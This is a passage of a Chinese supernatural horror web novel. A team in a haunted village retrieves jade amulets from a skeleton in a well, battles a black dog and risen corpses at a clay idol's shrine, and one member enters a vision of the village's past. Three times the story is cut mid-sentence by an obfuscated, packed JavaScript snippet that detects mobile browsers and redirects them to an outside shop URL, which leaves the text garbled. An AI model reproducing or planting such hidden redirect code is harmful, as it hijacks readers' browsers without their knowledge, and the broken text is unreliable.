张雪摸了摸胳膊上的汗毛,思索道:“底下什么都看不见,如果直接下去的话太危险了,但我们必须要拿到平安扣。” 活动任务没做完会有三种情况。 要么直接死在任务途中,就像之前被大黑狗吞了的那个人,要么被拒绝进入民俗,留在黑夜里等死,最后一种可能,被村长带走,然后成为木偶人回来。 哪种都不是好结局。 陈林自告奋勇:“我来,我的体能课成绩每次都在第一,我先下去探探。” 他看了看周围的柳枝,道:“可以用柳条编织长绳绑在我身上,要是出意外也可以把我提上来。” “不用”,沈云烟突然开口道。 “已经有合适的人选了,不是吗”,她看向一直跟在队伍后面的木偶人。 “我们的新队员已经迫不及待想展示自己了,大家给它一个机会吧。” 木偶人见沈云烟逼近,不自觉退了两步,但没等它转身逃跑,沈云烟伸手捏住了它的衣领。 “加入队伍后就要做点贡献”,她把木偶人直接往井口拽,木偶人见状又变出鬼脸来吓唬人,可惜沈云烟只淡淡看了一眼就继续动作。 走到井口,她用力一推,木偶人半个身子都挂在了井边。 她抬脚一踹,木偶人整个人都进去了。 听到落水声后,沈云烟朝井口喊道:“看见什么就背上来什么,这是你做贡献的大好时机,以后在队伍里能不能站住脚就看这次了。” 陈林疑惑:“沈前辈,它真的能听懂吗?” 这种东西怎么想也不会听人的话吧。 “不用它听话,只要它进去和里面的东西打起来就行”,沈云烟目光微移,挥了挥手,将深井上【祸福吉凶】的凶卦烟气搅散。 “毕竟,这么趁手好用的诱饵可不多了。” 18. 第十八章 热情的民俗基地(4) 井底很深,伸手不见五指的漆黑视野令木偶人有些惊慌,它仰头望去,井口圆形的白光里探出一颗头,叽里咕噜说了些什么,然后扔下扔出一个长条状的物品。 一条编织好的粗壮长柳枝落在它头顶还有一两米的地方。 木偶人浮在水面上,有限的智商努力思考着刚刚那个可恶女人的话。 背什么上去? 它漆黑的眼珠慢慢挪动,警惕地扫过井底,但水面之上的空间黑暗而狭小,除了它之外再没有别的东西。 头顶熹微的光根本照不清井底,粘稠而混浊的水流像是要吞噬一切的狩猎者,安静耐心地等待着虫豸落入蛛网。 寂静中只剩下木偶人手臂划动时的粘腻水流声。 它手指紧紧扣进滑腻湿润的井壁上,另一只手够着粗壮的长柳不断想要爬上去,但每每刚往上一寸,就会被莫名地往下一扯,重新回到水中。 “嗬嗬——” 木偶人专注地逃离井底,对水中伸上来的手置若罔闻,但那手三番五次地拉它,木偶人愤怒地向那只枯槁的手抓过去。 那手原本只是试探地摸索,此刻被攻击,立即激起了凶性,整个身体浮出水面,与木偶人面面相觑。 井底顿时水花四溅,粗粝凶悍的嗬嗬声与密集细碎的低吼交织在一起,显然井底有东西出来了。 站在深井边上的几人向底部望去,发觉原本黑沉如墨的井底骤然出现了些许光亮,正在随着某种生物的动作而不断晃动。 清透柔和的光稍微照亮了井底,张雪先是看到了恍若恶鬼的木偶人在不断攻击着什么,而后视线移了过去,看清之后,她握着井边的手不自觉收紧一瞬。 谢橙直接叫了出来:“这井底有骷髅!” 幸好刚刚把木偶人丢进去了,不然陈林要是进深井一探,被枯骨抓住了脚腕,就是不死也得脱层皮。 “它身上挂着翡翠平安扣”,陈林盯着那微光,数了数:“刚好五个,都在它脖子上挂着。” 沈云烟敲了敲井边的石头,观察道:“得把木偶人捆上来,它不是骷髅的对手,再过一会儿就沉底了。” 他们可没有第二个木偶人去钓骷髅。 刚才还看着颇为凶悍的木偶人在被骷髅的骨指狠狠抓过两道后就慢了下来,一道在普通人身上足矣致命的贯穿伤从它的前胸一直划到腹部,几乎把它整个人切成了两半。 骷髅好似也摸清楚了这外表邪气的东西实际只是个草包吉祥物,下手越发狠辣。 “不行,它自己抓不住柳条”,谢橙手边就是彻底垂入井底的绳索,她此时抓绳子,却发现木偶人这会儿连分神去够绳子都做不到。 为了不让木偶人顺着绳子爬上来,所以绳子始终离它有一段距离,等待时机成熟才能彻底放下去。 眼看着木偶人的动作越来越慢,它就要被骷髅拆碎的时候,一道清亮的声音在井边响起。 “吾言长柳非柳,似蛇是蛇。” 一缕青烟兀地钻入柳枝中,仿佛向其注入了生命力,长柳一拧,竟有几分蜿蜒蛇行的姿态。 不,那就是蛇。 柳蛇吐了吐信子,垂在井底的蛇首清晰地看清了这里正在发生的斗争,它盘旋蛰伏着,等待着一个一击致命的机会。 终于,在木偶人后仰栽倒进水中,骷髅乘胜追击时,柳蛇行至其背后,上下颌张开180度,在所有人都没反应过来时一口吞了木偶人和骷髅。 蛇身鼓起一个不断蠕动的巨包,那是骷髅在挣扎。 柳蛇焦躁地甩了甩尾巴,顺着井壁爬了上去,蔫蔫地窝在沈云烟身边。 沈云烟缓了几口气,抚平动用言灵之后躁动的心脏,蹲下身来摸了摸柳蛇的脑袋,蛇首乖巧地蹭了蹭她的手,冰凉的触感格外醒目。 她低声道:“好孩子,你做的很好,该回去了。” 言灵的力量逐渐消散,柳蛇的眸光逐渐黯淡下去,烟气散尽,原地只剩下两只骇人的人型生物和紧紧捆绑住它们的韧劲柳枝。 木偶人几乎身首异处,被割开的躯体里可以清晰看见里面塞满了枯黄的稻草,因为最外层的木质材料被破坏,稻草不时地往外涌,没一会儿就散了一地。 “看它僵地和木偶一样,没想到还真是个木偶稻草假人”,谢橙刚刚说了一句,就看见头都快掉了的木偶人眼珠子刷的一下对准她,然后扬起了诡异至极的笑容,不时发出嘻嘻的声音。 谢橙心一梗,头低着往后边站。 太吓人了。 姬蒙一看木偶人这断头断胳膊断腿的模样眼睛就亮了,他从自己带着的包里拿出线剪、手术刀、手术镊、缝针…… “还不用麻药,多棒的练习材料”,他喃喃道。 正准备大干一场的时候,姬蒙突然想起什么,看了眼背后的几个普通人。 他思想斗争了好一阵,最终长叹一口气把十几件工具都收了回去,只留下了线剪和缝针。 一想到不能同时操作八件医疗器械,姬蒙气压顿时沉闷了不少,他拿起缝针,面无表情地接起了木偶人的脑袋。 因为看不惯它一直在笑,姬蒙啪地一下重重打上木偶人的脸,打的它头一歪,脑袋差点真的掉了。 姬蒙将它脸上诡异的笑打没,这才满意地点了点头,继续缝合。 木偶人老实了,剩下不断挣扎的骷髅成了众人关注的重心。 从井底捆上来的骷髅在温暖的阳光下瑟缩了一会儿,似乎没能想明白自己怎么离开了井底黑沉的水和淤泥。 它脖子上挂着小巧精致的翡翠平安扣,正是这次民俗活动“拾玉”中游客们的任务目标。 “嚯嚯——” 不论是谁,只要一靠近骷髅人,就会激起它的戒备,空洞的眼眶无声地对准了每一个人,不断张合的牙齿彰显着它依旧富有攻击性。 “嘶,差点被咬到”,张雪本意拽下它脖子上的平安扣,还没等她靠近,骷髅人就像发病了一样疯狂扑咬着。 即使断几根骨头也想伸出手来去攻击人。 只可惜柳枝将它捆得严严实实,即使拼着断几根骨头,手骨也依旧在柳枝的束缚之中。 “啧。” 沈云烟去找了几根韧性十足的柳枝,直接将骷髅的嘴也卡住了,她走进扭曲挣扎的骷髅,抓住它脖子上的五枚平安扣,毫不犹豫地扯了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651556|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 姬蒙收拾完木偶人,这会儿回到沈云烟身边,上下打量了一会儿这具骷髅,判断道:“男性骨骼,约莫二十五岁。” “好年轻……”谢橙也听见了姬蒙的话,不由愣住了。 这骨头居然才二十五岁。 也就是说他正年轻的时候就死了,不知道经历了什么,成了这种怪异的生物。 被拿走平安扣后,骷髅陷入了一阵诡异的沉默,它抬起眼眶,正正对着沈云烟,或者说是看着沈云烟手上的平安扣。 骷髅人足足愣了有五分钟,等到沈云烟把手中的平安扣都分配完了,它才回过神来,然后以头抢地,力度之重,足以震碎头骨。 骷髅人不断发出呜呜的声音,似乎想要表达什么。 沈云烟观察了一会儿,上前解开了骷髅嘴上的柳枝,这次她离得很近,骷髅却安静了许多,没有刚刚那股见谁谁死的疯狂劲。 “你想说什么就说吧”,众人看不见的地方,烟气重新覆盖在她周身。 沈云烟蹲下来凑近骷髅,眼眸微垂,一抹琉璃色划过,她道:“我听得懂。” 神念链接。 “冉……冉……冉娘……” 骷髅呜呜地喊着,他神志不清,一直重复着“冉娘”二字,就在沈云烟耐心地听了半小时后,他身躯一震,发出一声悲戚的嘶鸣,然后重重撞在井口边,将自己撞了个支离破碎。 众人惊诧。 “它怎么就自杀了?”张雪看着眼前散落一地的骨头,还有些发懵。 “刚刚不还呜呜地说着,虽然我听不懂,但是感觉情绪还行。” 谢橙被骷髅最后的嘶鸣声搞的心不在焉,她看向若有所思的沈云烟,问道:“沈前辈,刚刚是怎么回事,它为什么要把自己撞散?” 沈云烟在听见骷髅的呜呜声之后,不知道察觉到了什么,就在这里蹲着听了半小时,众人虽然听不懂,但也留在原地等待着。 沈云烟张了张嘴,不知道该怎么形容。 她开口道:“刚刚,他在殉情。” 只有一直维持着神念链接的沈云烟听懂了刚刚的嘶鸣。 男子悲戚地喊道:“冉娘……我来殉你。” 听完沈云烟的解释,众人再看那堆散落一地的骨头时,已经不知该用什么样的神态来应对。 “要不,帮忙埋一下。” 几人达成一致。 … 在拿到翡翠平安扣后,再往回走时,他们又遇见了那个在村口街道上敲锣的蒙眼老头。 布衫老头精确地朝沈云烟几人,口中念念有词,走到他们跟前时,脚步骤停,硬黑的眉毛扭成一团,不满道:“怎么活了这么多人,真是没用的东西。” 他没好气道:“神像在南边,带上祭品去敬神,只有神像认可的祭品才有价值。” “不然,就死在这里吧。” 老头转头离去,没给他们继续询问的余地。 “怎么还要祭品”,张雪摸了摸手中的平安扣:“活动规则提示只要供给神像平安扣就行了。” “他在加大难度”,沈云烟道:“看来有人想要我们快点死了。” 19. 第十九章 “南边的神像……” 张雪反复咀嚼过这几个字,凝重开口道:“如果没搞错的话,我想我知道这个神像的位置了。” “你说是那个空着的神龛”,沈云烟也联想到张雪之前说过的“定吉”民俗活动。 游客需要在空着的神龛中摇出上上大吉的签文,然后喂给一旁蹲守的大黑狗才能换取生的机会。 张雪攥紧手心。 那狗会再出现吗? 生吞游客的大黑狗给她留下了不小的心理阴影,如果可以的话,她并不希望和它再照面。 几人之中只有张雪在这里呆的时间最久,她完整经历过三场民俗活动,如果今天的活动与之前有所联系,那从张雪这里获取信息将更有利于他们接下来的活动。 陈林道:“张队,你再仔细想想那个神龛周围的环境,有什么值得注意的细节。” “赵家村不大,中心和边界慢步走二十分钟就能走完,所谓的南边,就是离这里不远的小土山”,张雪道。 “硬要说有什么印象深刻东西”,她沉吟一会儿道:“除了土山顶部的空置神龛和黑狗之外,山坡上密集的小土包也是实在忽略不了。” “小土包?” 谢橙微张嘴:“张队你是说,那边埋的那个很多。” 沈云烟接话:“倒也不难想象,村子里把去世的家人葬在附近山里也属正常。” 张雪有些后怕:“很多,不下一千。” 一千多人? 沈云烟目测了一下这座人烟稀少的村落,算上全村人再加上下三代都离一千人还远,人数对不上。 她沉吟片刻:“要是土包过于密集的话,那里就不是单独属于村人的墓地。” “这么看来,那里不只是村民的小土包,还有游客的。” 赵家村很小,没一会儿他们就来到了一座小土山底下。 山上仅剩的几颗干瘪的老树枯黄了叶子,一眼望去,起伏的土包四散分布着,在逐渐移动的日光下变得生动起来。 “快走吧,在这里呆着瘆得慌”,谢橙搓了搓手臂上的疙瘩,加快步伐跟上了走在最前边的沈云烟。 “对了,咱们不去找那敲锣老头说的祭品了吗?” 谢橙从进入组织里就开始从事文书工作,处理过的非自然事件档案数不胜数,可在巢穴里身临其境这是第一次,她不免有些不适应。 她主动黏紧了一看就很有安全感的沈云烟,连着对直属上司的关切度都下滑了一个等级。 “祭品,我们不是有吗?”沈云烟看了一眼她,又看了一眼跟在队伍最后一言不发的姬蒙。 “在这里”,姬蒙瞧见了沈云烟的眼神,他卸下自己背后绑着的木偶人,将其提到身前,回话道:“用这东西做祭品,也算物尽其用。” 刚刚还一副凄惨样的木偶人已经恢复大半,除了不爱笑了之外,看起来与最初一般无二。 它眼珠子骨碌碌地转,见沈云烟几人都在看它,木偶人身体一僵,显然想起了刚刚不甚愉快的经历。 虽然恢复了大半,但毕竟刚刚快被腰斩了,即使能动,它还没爬五步就得被提着扔回来。 木偶人只想爬着远离这群诡异的人,但它实在虚弱,没跑几步就被那个力气很大的男人抓了回来。 薄而纤细的手术刀在它颈部来回比划,眼镜之下的双眸无比冰冷,吓得木偶人脸上的鬼纹都变得扭曲。 “还跑吗?”姬蒙冷声道。 木偶人使劲摇了摇头。 短暂的路程之后,几人顶着阵阵寒风来到了山顶之上。 “果然就是这里”,张雪望向神龛的方向,又看向四周环境,发现没有那只大黑狗后松了一口气。 她最近至少有一个月不想看见黑色的犬种了。 众人走进一瞧,与神龛外围与张雪描述的并无差别,只是如今这个神龛并不是空的,而是坐着一座陶土铸成的泥人像。 “污染的气息变重了”,沈云烟敏锐感受到空气中的变化。 她看向泥人像的目光逐渐变得深沉起来。 “这就是村长说的谷稷神像,把翡翠平安扣献上去后,再供祭品就能获得进入夜晚庇护所的机会。” 陈林不确定道:“路上未免有些太顺利了。” 一路走过来几乎没碰到什么磕磕绊绊,此时站在神龛面前让他有种不真实感。 “未必顺利,那敲锣老头还说要献上合适的祭品”,张雪瞥了一眼木偶人,继续道:“或许就会在祭品上为难我们。” 她看了一眼与之前差别不大的神龛,又看了看里面新出现的泥人像,看向沈云烟,问道:“怎么样,有什么蹊跷的地方吗?” “不知道”,沈云烟答道。 她从一开始就盯着那座泥人像,盯的久了,好似出现幻觉一般,她突然看到泥像的嘴角微微上扬了一点。 再看去,却没能发现丝毫变化。 沈云烟可不相信自己眼花了,她转身拖来木偶人扔在神龛面前的蒲团上,然后把自己手上的翡翠平安扣放进神龛里。 她示意众人把翡翠平安扣都进去。 “有什么蹊跷的地方,试一试就出来了”,她道。 等到把所有的平安扣依次供给泥像后,山顶上风平浪静,没有任何事发生。 被绑成粽子的木偶人在蒲团上扭啊扭,始终没放弃想要逃走。 “我们这是,完成任务了?”谢橙不确定。 良久的寂静之后是沉闷的焦躁,沈云烟眸光一闪,准确捕捉到泥人像弯起的眼睛和勾起的嘴角。 有什么东西快速窜动的声音,犹如春笋破土一般迅速。 沈云烟意识到什么,大喊一声:“快退后!” 在场的几人除了姬蒙外都是组织内的官方人员,即使是文职,入职之前也进行了体能和反应能力上的训练。 此刻听到沈云烟提醒,迅速四散开来。 剧烈的土块迸裂声响起,张雪原本位置的地面裂开,一只纤长的黑色巨犬从中出现,张开巨嘴吞噬了能覆盖到的一切。 张雪抹了把脸上的汗,死死按住自己生理上的惊惧颤抖,用理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660514|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 智操纵身体进行躲闪。 就差一点,她就被吞了,就像昨天那位游客一样,死的血肉模糊。 她长呼了一口气,集中精神进行躲避。 “是祭品的问题吗”,姬蒙此时还算轻松,重构的身体令他体力惊人,此时除了躲避恶犬追捕外还能腾出手来照顾照顾体力告罄的沈云烟。 这身体是真经不住折腾。 沈云烟被拉了一把,躲过了黑犬袭来的巨齿,她喘了两口,听见姬蒙的询问声后摇了摇头道:“不是祭品的问题。” 她将目光移向神龛里慈祥微笑的泥人,冷冷道:“不管献出什么祭品祂都会放这条狗出来,想要我们死又不需要什么复杂的办法。” “你能感受到吧”,她看向姬蒙:“那座泥人像上隐隐约约的神性。” 姬蒙自成为神的眷属之后还没见过任何神仙,包括当时救他的那位,不过他开始对神的味道逐渐敏感起来。 他见到的所有人,沈云烟身上的神味最重,其次就是他。 而现在他却在一座泥人像上闻到了夹杂着腐臭味的神味,这股神味比他和沈云烟加起来都要浓郁,但因为夹杂着奇怪的味道,使得这股神味变得十分“劣质”。 他摇了摇头,回答沈云烟道:“不是神性,是劣质的味道。” “劣质?” 沈云烟第一次听说这种形容,她的认知中,与她自己气息不同的神都是伪神,她还第一次听到劣质这种词。 不得不说形容地十分准确。 姬蒙死死地盯着神龛:“那种东西,怎么能坐在神龛里享受香火。” “我说过,出来了要建一座香火观给神仙”,他看向沈云烟,眼中满满都是狂热:“香火观暂时没苗头,神龛倒是很可能很快添一个。” “你想做什么?” 沈云烟倒是很想解决当下的问题,她手中的袖里乾坤的唤物法印捏了一半,就看到姬蒙又开始了他的狂信徒表演。 “这泥人占了神龛这么多年,如今也该换个神坐坐了”,姬蒙眼镜反射出寒光,他声音冰冷,恶狠狠地盯着神龛里的泥人像。 姬蒙仗着新换的身体巨力无穷,放弃特意压制身体的异动后,整洁的外套突然被撕裂,从中冒出几只手,各持武器,令他游走在黑犬利齿之下时更得心应手,甚至还能反伤黑犬。 他在缓慢靠近泥人像。 日常冷淡的神色浮出一抹兴奋的癫狂,或许这才是医生严谨外表下的真正自我。 泥人像笑意骤然加重。 神龛背后的小鼓包内突然伸出一只纤细柔美的手,那手突然反方向弯折,紧接着整个身体以一种常人无法做到的姿态爬了出来。 那是个年轻的女孩,面色红润,四肢纤长,如果不看扭曲的身体,那会是个腼腆秀美的女孩。 但是她现在只是泥人像驱使着杀人的利器。 在张雪几人战略分散,尽可能减少风险时,一路上沉默寡言的姬蒙看都不看新加入战场的红衣女孩一眼,径直冲向神龛。 “真是疯子”,沈云烟道。 20. 热情的民俗基地(6) 就在她唤物法印捏完的最后一秒,一团杂乱的红色棉布条从空中掉落在地,原本暗红色的布料变得鲜艳,看得出它在这里混得不错。 它感受到突然变换的环境,颤抖延伸布条触角向外探索。 原本安逸的氛围荡然无存,转而是身后袭来的腥臭吐息。 鬼衣猛地翻滚身体躲过巨大黑犬的撕咬,抬头就“看见”了沈云烟那张平淡的脸。 如果有嘴的话,它恨得牙都快咬碎了。 它就知道沈云烟不可能轻易放过它,放风可以,逃跑肯定跑不掉。 它只是期待这巢穴里的东西厉害点,能把这女人坑死在这里,就算留点伤都行,回来当拖把它也认了。 可是这家伙居然在这种关键时候把它召唤回来。 鬼衣最开始是件漂亮衣服,现在是根漂亮拖把,拿什么去挡这煞气满满的黑狗。 用命嘛! 或许是同类相斥,黑犬看见一团红的鬼衣出现之后,怒不可斥地低吼,攻击愈发疯狂,像是把它当成了抢食的敌人。 瞎了眼的狗东西,去咬沈云烟啊。 鬼衣稍微恢复了些颜色的身体重新滚进了泥水中,在刚刚的躲避中被黑犬撕碎了边角布料,疼得它在心里破口大骂。 求生的欲望促使它迈开千百条布料触角飞速逃窜,放眼一扫,刚刚还在场上的沈云烟已经不见踪影。 它心里一慌。 这女人真把它丢在这里了! 数过山顶仅剩的几人,三个没什么大用的活人,一个八只手的医生,它想也不想就朝唯一战力奔了过去。 沈云烟,我恨你啊啊啊! … 自从那四肢扭曲的红衣女孩从神龛背后的土包里爬出来以后,山顶影影憧憧的树枝就变得鲜活起来。 这可不是什么好现象。 谢橙咽了口唾沫,拿出自己的防身武器,警惕地看向四周:“总感觉阴风阵阵的,不会有什么东西出来吧。” 黑犬和红衣女被牵制住之后,他们三人又重新聚在了一起。 陈林看了一眼不远处的姬蒙,想说什么又咽了回去,听见谢橙的声音,面色凝重:“很有可能,我听见有土层破碎的声音。” “沈前辈也不见了”,谢橙看了一眼周围。 异化的巢穴里,没有能力傍身的普通人是最脆弱的存在,他们现在只有枪械在手,身体素质虽说不差,但比起异化的产物来说肯定不够格。 一般来说破妄者都是巢穴拆除的主力,但这回BOSS点名让他们两个跟着沈云烟进来,也不知道是有什么打算。 无论如何,现在保持自身安全,不拖后腿才是他们该做的。 三人背部相靠成防御阵型,突然,张雪沉声道:“也不用猜了,它们已经来了。” 重重黑影寻着某种指引陆续爬上山顶,那些埋人的土包一个个破碎,爬出扭曲挣扎的异化怪物。 它们有些不同程度的腐烂,有的健步如飞,有的颤颤巍巍,但此时都直勾勾顶着三人。 “这个巢穴可真是重口味。” 她经手的巢穴资料不少,各种类型都有,精神污染,压力传导,美梦童谣等等,大都还算文明讲究,这还第一次见到大大咧咧将腐烂的身体从土里挖出来用的。 张雪眸光点过四面八方从山腰爬上来的东西,出声道:“该咱们出力的时候到了。” 她拍了拍谢橙的肩:“今天就让小陈看看,咱们文职人员,也是可以很凶的。” 陈林率先开了几枪,难得开个玩笑:“好啊,我今天有幸见识通知部同志的厉害,回去就有东西和前辈们炫耀了。” 热武器打中最先爬上来的几只异化怪物,但除了击中时稍微趔趄一下,对它们似乎并没有什么大的影响。 它们还在涌过来。 陈林眉心紧紧拧住,抽出背后的银白的长刀,对准了异化怪物。 “我会直接砍掉他们的头颅,看看能不能彻底杀了它们,如果不能,你们尽快朝姬医生那边靠近,我会为你们争取时间。” 陈林作为三人中唯一的行动部人员,自然不可能让两个文职同志直接和怪物对打。 如果武器可行还能拼拼手腕,通知部的基本训练中也有枪法,刀术,但要是行不通,那就必须得减小损失。 现在沈前辈不知所踪,姬蒙医生就是唯一能抵抗怪物的破妄者,即使那边斗争激烈,有可能会被波及,但总比被这里的怪物吞没要有希望些。 他会拼死拖延时间的。 “年轻人,刚入职不久吧”,张雪拉住一脸悲壮的陈林,晃了晃手中的东西:“巢穴必备物品之一,没给你吗。” 张雪突然想起什么:“嘶,这是破妄者必备,我们和沈云烟走的近所以比较了解,你们勘察队不知道也正常。” 那是一根直而细的青色长香,和寺庙道馆门口卖的香没什么差别,感觉轻轻一掰就能断掉。 陈林见过这东西,医生在直升机上递过来一把,当时谢橙神神秘秘地让他保管着,他还以为是什么奇妙的精神胜利法。 原来这东西真的有用吗? “张队,我们也有”,谢橙举手。 她取出之前小心存放的香,掌心摊开,一把长香出现在众人眼前。 “我有听过这东西很有用,到底是怎么用的,点燃吗?”她开口问道。 张雪默默收回自己好不容易申请下来的一根香。 她吸了口气,重新露出笑容:“对,点香敬神,神会向我们投来注视。” “我们会获得神的【垂眸】”,她道:“那将是一种希望。” 他们将获得彻底杀死怪物的可能性。 张雪看了一眼背后打作一团的神龛战场,转眸回到眼前的异化怪物身上:“那种级别的我们帮不上忙,这些小喽啰咱们打不过可说不过去了。” 打火机碰地点燃,炽热的火苗舔舐上香柱,一抹氤氲白烟向上而去,消散在天际。 【神明敬上,我希望我的刀能穿透腐朽的怪物,我希望我的枪能终结凝固的心脏,我希望扭曲异化的灵魂能彻底得到安眠。】 【我希望,人类之火不灭。】 张雪重新睁开眼睛,笑着问道:“小橙子,枪法怎么样?” 谢橙此时也握紧了手中的枪械,闻言紧张地点点头:“评级优秀,但实战经验不足。” “那就在这里好好练练手感吧。” 她率先开枪,飞速迸射的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678698|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子弹正中一个怪物的心脏,它步伐猛地一顿,又接着开始活动。 张雪接着第二发,第三发…… 怪物的动作越来越慢,最终扑通一声仰面倒在了潮湿的泥土上。 “有用”,陈林提刀穿进怪物群中,他的刀刃锋利灵活,如同鬼魅一般游走在异化怪物之中。 “嘭——”谢橙开枪击退了抓向他肩膀的一只枯槁的手,两人对视一眼,开始打起来配合。 这俩小年轻接受力度还挺快。 张雪收回自己颤抖的手。 神的【垂眸】是摧毁巢穴的重要力量,但普通人使用的话总是有些副作用的。 越是信念纯粹,越能获得更大的“希望”,而与之相对应的代价也会增大。 她刚刚亲手点燃了香,沉心祈祷【垂眸】降临,现在看来结果还不错。 她缓了缓,也加入了战场。 … 沈云烟陷入了一场幻境之中。 她站在赵家村村口,面前的破旧砖瓦依旧是那副模样,路上的行人多了许多,只不过大都面黄肌瘦,看起来没什么精神气。 “是正常人”,她道。 不是村长那样的巢穴产物,也不是被掳掠来的游客,就是一群像在这里长了几辈子的普普通通的村民。 刚刚唤回鬼衣的时候她本意想着让拖把精先牵制住黑犬的注意力,自己趁红衣女和黑犬都腾不出手时直接推平神龛。 泥人像身上的气息让她很在意。 为什么一座泥像还会有神性。 可画面一转,山顶的乱斗就离她远去,她站在了最开始进入赵家村的入口处。 不,不是巢穴入口。 沈云烟打量了周围的环境,得出一个匪夷所思的结论。 这是真正的赵家村村口。 “你干啥,这是我屋里最后的粮食了”,瘦弱汉子操着一口方言在与人争论,他抱紧手中的布包,死活不撒手。 一个披头散发的女人发了疯地抢着布包,哭喊道:“你娘都快饿死了,再不吃明天人就没了。” “大姐”,汉子情绪也被拉动,叫喊道:“够谁吃啊,这够谁吃啊,娘吃了我过几天也得饿死。” 他绝望地发泄:“都死吧,咱们都死吧。” 就在沈云烟准备上前去拉开这两位激动的姐弟,一只手先她一步伸了出来。 一只布满伤痕的手捏着一张圆饼递给正在争吵的二人,略显稚嫩的声音传来,令吵闹声一滞。 “我的给你们,不要吵架了”,年轻的男子说道。 他像感受到了什么,突然抬头看向一旁听了好一会儿的沈云烟,犹豫地从口袋里又取出一张饼,朝她递了递。 “你也想要吗,也给你一个。” 刚刚接过饼的散发女人顺着男子的视线看了过去,什么也没发现。 她有些茫然:“你在和谁说话?” 男子一愣,收回手里的圆饼:“没什么,快去看你母亲吧,她现在需要照顾。” 等到这里彻底安静之后,男子动了动,朝沈云烟走了过来。 他看着沈云烟,目光澄澈,似乎并不在意她身上的奇异。 “走吧,异乡人”,他缓缓道。 21. 热情的民宿基地(7) 沈云烟跟上了年轻男子。 “你看着不像这里的人,怎么会飘到赵家村。” 飘? 这个人的用词有些奇怪。 他看了一眼沈云烟,向她指了指村落南边山顶的方向,说道:“如果你想走,我可以送你一程。” 沈云烟问他:“你要送我出去?” 年轻男子点了点头:“我也只能帮你到这里了,再多的我也无能为力。” “对了,你家在哪里,是怎么死的,我可以帮你把身体运回去入土为安”,他说着,从缝补破旧的兜里掏出一张皱皱巴巴的地图。 “我读过几年书,能认识字”,他摸了摸头:“我见识少,你这样的衣服我也不知道是什么地方的特色,不过你告诉我地名,我肯定能帮你回去。” 沈云烟停住了脚步,看着他道:“你觉得我死了?” 年轻男子像是察觉到什么,试图安慰她:“新死的人通常都浑浑噩噩,不知道自己去世也很常见,过几天你就能想起当时的细节了。” 他解释道:“我从小就和别人不同,和你们相处比和人相处自在,你不要怕,我没有恶意的。” “没事”,她回道。 沈云烟看向和巢穴地貌一致的小土山,似乎抓住了什么线索,问道:“山顶上有什么,你要带我去那边?” 年轻男子继续走着,回答道:“只要去山顶的神龛前拜一拜,再上柱香,你们就能回到家乡,我之前已经用这个办法送回去很多人了。” 神龛? 沈云烟想也不想就知道现在这情况和那泥人脱不了干系,但眼前的青年气息纯粹,不像巢穴产物,倒和那泥人像上的一缕清香有所相近。 她没有轻举妄动,不动声色询问道:“是什么样的神龛,居然有这么大作用?” 青年倒是很乐意为她解释:“是空的,不过很有用,每次去到山顶我都会很舒服,也是无意间才发现它有这个作用。” 这里的土山坡没有那么多土下埋骨人,刚刚下过一场春雨,山脊泛出点点青绿,是草芽冒了尖,一眼望去倒是清新怡人。 两人一前一后来到土山顶,初春微寒,沈云烟的外套防风保暖倒是没什么,青年被风刮了一阵,瑟缩了一会儿,打了几个喷嚏。 “对了,我叫王五”,他说:“可能你很快就不记得了,但相识一场总要留些痕迹。” 他不知道从哪取出一片折的整整齐齐的粗布,打开一看,上边排列整齐写着好几十个名字。 王五取出一根烧黑的木棍,兴致勃勃地问她:“你叫什么名字,我替你记住。” 沈云烟看向他:“如果是注定要离开的人,只有你记住这些名字又有什么用?” 王五摇了摇头:“不是这样的,当然有用。” “我很笨的,有时候送不了他们的身体回家,但是如果他们有家人找过来,我记得名字,那不就能帮上忙了。” “最开始是这个人让我帮忙记住他的名字的”,他指着布片最上方的第一个人,挠了挠头:“那是我很小的时候发生的事。” “最开始我发现自己有特殊能力的时候很害怕,甚至抗拒走出家门,是他鼓励我,甚至带着我去找他自己的尸骨,让我磨练胆子”,王五想起了小时候发生的事,回忆着摇了摇头道:“后来他就消失了,我也一直没来得及问他到底来自哪里。” “贺绪风……”沈云烟出神地念出那人的名字。 剧烈的刺痛在脑海中穿透而过,她猛地扶住自己的额头,气息转换间,却发现刚刚的剧痛已经消失不见。 安静的空气中只剩下她的呼吸,刚刚的瞬间像是一场幻觉。 她认识这个人,她一定认识这个人! 沈云烟的异样吓到了王五,他低头看她的神色,紧张问道:“你怎么了,生前的那些事能想起来就想起来,不行就不行,不要勉强自己。” “贺绪风的尸骨,给我”,沈云烟出声道,却发现自己的嗓子已经发哑了。 从来没有发生过这种情况。 这个贺绪风一定有问题。 “这……这……我……你们认识?” 